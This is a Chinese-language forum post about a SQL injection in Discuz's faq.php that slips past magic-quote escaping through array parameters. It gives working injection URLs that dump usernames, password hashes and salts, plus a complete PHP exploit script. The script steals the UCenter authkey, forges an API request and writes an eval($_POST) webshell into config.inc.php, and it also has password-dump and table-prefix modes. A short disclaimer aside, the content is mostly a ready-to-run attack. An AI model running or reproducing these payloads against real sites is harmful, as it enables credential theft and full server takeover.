在《高级PHP应用程序漏洞审核技术》[1]一文里的"魔术引号带来的新的安全问题"一节里，有 提到通过提取魔术引号产生的“\”字符带来的安全问题，同样这个问题在这里又一次完美体 现，如下面的代码片段: // foo.php?xigr='ryat function daddslashes($string, $force = 0) { !defined('MAGIC_QUOTES_GPC') && define('MAGIC_QUOTES_GPC', get_magic_quotes_gpc()); if(!MAGIC_QUOTES_GPC || $force) { if(is_array($string)) { foreach($string as $key => $val) { $string[$key] = daddslashes($val, $force); } } else { $string = addslashes($string); } } return $string; } ... foreach(array('_COOKIE', '_POST', '_GET') as $_request) { foreach($$_request as $_key => $_value) { $_key{0} != '_' && $$_key = daddslashes($_value); } } echo $xigr['hi']; // echo \ 上面的代码原本期望得到一个经过daddslashes()安全处理后的数组变量$xigr['hi'],但是没 有对变量$xigr做严格的类型规定，当我们提交一个字符串变量$xigr='ryat,经过上面的处理 变为\'ryat,到最后$xigr['hi']就会输出\,如果这个变量引入到SQL语句,那么就会引起严重 的安全问题了,再来看下面的代码片段: ... if($xigr) { foreach($xigr as $k => $v) { $uids[] = $v['uid']; } $query = $db->query("SELECT uid FROM users WHERE uid IN ('".implode("','", $uids)."')"); 利用上面提到的思路,通过提交foo.php?xigr[]='&xigr[][uid]=evilcode这样的构造形式可 以很容易的突破GPC或类似的安全处理,形成SQL注射漏洞:D
http://xss.com/bbs/faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=%29%20and%20%28select%201%20from%20%28select%20count%28*%29,concat%28version%28%29,floor%28rand%280%29*2%29%29x%20from%20information_schema.tables%20group%20by%20x%29a%29%23
爆出账号+密码+salt的语句
http://xss.com/bbs/faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=%29%20and%20%28select%201%20from%20%28select%20count%28*%29,concat%28%28select%20concat%28username,0x3a,password,0x3a,salt%29%20from%20uc_members%20limit%200,1%29,floor%28rand%280%29*2%29%29x%20from%20information_schema.tables%20group%20by%20x%29a%29%23
以下内容仅供站长进行安全自检，非法利用责任自负
附上getshell exp:（根据别人的测试，代码可能有些部分有待完善）
<?php /** * @author: xiaoma * @blog : www.i0day.com * @date : 2014.7.2 23:1 */ error_reporting(0); set_time_limit(3000); $host=$argv[1]; $path=$argv[2]; $js=$argv[3]; $timestamp = time()+10*3600; $table="cdb_";//表名 if ($argc < 2) { print_r(' ******************************************************** * Discuz faq.php SQL Injection Exp * * ---------By：Www.i0day.com----------- * * Usage: php '.$argv[0].' url [js] * * ------------------------------------- * * js选项: 1.GetShell 2.取密码 3.查表前缀 * * * * php '.$argv[0].' Www.i0day.com / 1 * * php '.$argv[0].' Www.i0day.com /dz72/ 1 * * * * * ******************************************************** '); exit; } if($js==1){ $sql="action=grouppermission&gids[99]='&gids[100][0]=)%20and%20(select%201%20from%20(select%20count(*),concat(floor(rand(0)*2),0x3a3a,(select%20length(authkey)%20from%20".$table."uc_applications%20limit%200,1),0x3a3a)x%20from%20information_schema.tables%20group%20by%20x)a)%23"; $resp = sendpack($host,$path,$sql); if(strpos($resp,"::")==-1){ echo '表前缀可能不是默认cdb_ 请先查看表前缀！'; }else{ preg_match("/::(.*)::/",$resp,$matches); $lenght=intval($matches[1]); if($lenght){ if($lenght<=124){ $sql="action=grouppermission&gids[99]='&gids[100][0]=)%20and%20(select%201%20from%20(select%20count(*),concat(floor(rand(0)*2),0x5E,(select%20substr(authkey,1,62)%20from%20".$table."uc_applications%20limit%200,1))x%20from%20information_schema.tables%20group%20by%20x)a)%23"; $resp = sendpack($host,$path,$sql); if(strpos($resp,"1\^")!=-1){ preg_match("/1\^(.*)\'/U",$resp,$key1); $sql="action=grouppermission&gids[99]='&gids[100][0]=)%20and%20(select%201%20from%20(select%20count(*),concat(floor(rand(0)*2),0x5E,(select%20substr(authkey,63,62)%20from%20".$table."uc_applications%20limit%200,1))x%20from%20information_schema.tables%20group%20by%20x)a)%23"; $resp = sendpack($host,$path,$sql); preg_match("/1\^(.*)\'/U",$resp,$key2); $key=$key1[1].$key2[1]; $code=urlencode(_authcode("time=$timestamp&action=updateapps", 'ENCODE', $key)); $cmd1='<?xml version="1.0" encoding="ISO-8859-1"?> <root> <item id="UC_API">bbs.49you.com\');eval($_POST[i0day]);//</item> </root>'; $cmd2='<?xml version="1.0" encoding="ISO-8859-1"?> <root> <item id="UC_API">bbs.49you.com</item> </root>'; $html1 = send($cmd1); $res1=substr($html1,-1); $html2 = send($cmd2); $res2=substr($html1,-1); if($res1=='1'&&$res2=='1'){ echo "shell地址：http://".$host.$path.'config.inc.php pass:i0day'; } }else{ echo '获取失败'; } } } } }elseif($js==2){ $sql="action=grouppermission&gids[99]=%27&gids[100][0]=%29%20and%20%28select%201%20from%20%28select%20count%28*%29,concat%28%28select%20concat%280x5E5E5E,username,0x3a,password,0x3a,salt%29%20from%20".$table."uc_members%20limit%200,1%29,floor%28rand%280%29*2%29,0x5E%29x%20from%20information_schema.tables%20group%20by%20x%29a%29%23"; $resp = sendpack($host,$path,$sql); if(strpos($resp,"\^\^\^")!=-1){ preg_match("/\^\^\^(.*)\^/U",$resp,$password); echo '密码：'.$password[1]; }else{ echo '表前缀可能不是默认cdb_ 请先查看表前缀！'; } }elseif($js==3){ $sql="action=grouppermission&gids[99]='&gids[100][0]=)%20and%20(select%201%20from%20(select%20count(*),concat(floor(rand(0)*2),0x5E,(select%20hex(table_name)%20from%20information_schema.tables%20where%20table_schema=database()%20limit%201,1),0x5E)x%20from%20information_schema%20.tables%20group%20by%20x)a)%23"; $resp = sendpack($host,$path,$sql); if(strpos($resp,"1\^")!=-1){ preg_match("/1\^(.*)\^/U",$resp,$t); if(strpos($t[1],"cdb_")!=-1){ echo "表名为：".hex2str($t[1])." 表前缀为默认cdb_ 无需修改"; }else{ echo "表名：".hex2str($t[1]).' 不是默认表名cdb_请自行修改代码中的$table'; } }else{ echo "查看表前缀失败,Sorry"; } }else{ echo "未选择脚本功能"; } function sendpack($host,$path,$sql,$js){ $data = "GET ".$path."/faq.php?".$sql." HTTP/1.1\r\n"; $data.="Host:".$host."\r\n"; $data.="User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:20.0) Gecko/20100101 Firefox/20.0\r\n"; $data.="Connection: close\r\n\r\n"; //$data.=$html."\r\n"; $ock=fsockopen($host,80); if(!$ock){ echo "No response from ".$host; die(); } fwrite($ock,$data); $resp = ''; while (!feof($ock)) { $resp.=fread($ock, 1024); } return $resp; } function send($cmd){ global $host,$code,$path; $message = "POST ".$path."/api/uc.php?code=".$code." HTTP/1.1\r\n"; $message .= "Accept: */*\r\n"; $message .= "Referer: ".$host."\r\n"; $message .= "Accept-Language: zh-cn\r\n"; $message .= "Content-Type: application/x-www-form-urlencoded\r\n"; $message .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n"; $message .= "Host: ".$host."\r\n"; $message .= "Content-Length: ".strlen($cmd)."\r\n"; $message .= "Connection: Close\r\n\r\n"; $message .= $cmd; //var_dump($message); $fp = fsockopen($host, 80); fputs($fp, $message); $resp = ''; while ($fp && !feof($fp)) $resp .= fread($fp, 1024); return $resp; } function _authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) { $ckey_length = 4; $key = md5($key ? $key : UC_KEY); $keya = md5(substr($key, 0, 16)); $keyb = md5(substr($key, 16, 16)); $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : ''; $cryptkey = $keya.md5($keya.$keyc); $key_length = strlen($cryptkey); $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string; $string_length = strlen($string); $result = ''; $box = range(0, 255); $rndkey = array(); for($i = 0; $i <= 255; $i++) { $rndkey[$i] = ord($cryptkey[$i % $key_length]); } for($j = $i = 0; $i < 256; $i++) { $j = ($j + $box[$i] + $rndkey[$i]) % 256; $tmp = $box[$i]; $box[$i] = $box[$j]; $box[$j] = $tmp; } for($a = $j = $i = 0; $i < $string_length; $i++) { $a = ($a + 1) % 256; $j = ($j + $box[$a]) % 256; $tmp = $box[$a]; $box[$a] = $box[$j]; $box[$j] = $tmp; $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256])); } if($operation == 'DECODE') { if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) { return substr($result, 26); } else { return ''; } } else { return $keyc.str_replace('=', '', base64_encode($result)); } } function hex2str($hex){ $str = ''; $arr = str_split($hex, 2); foreach($arr as $bit){ $str .= chr(hexdec($bit)); } return $str; } ?>
原文链接： http://0day5.com/archives/1834
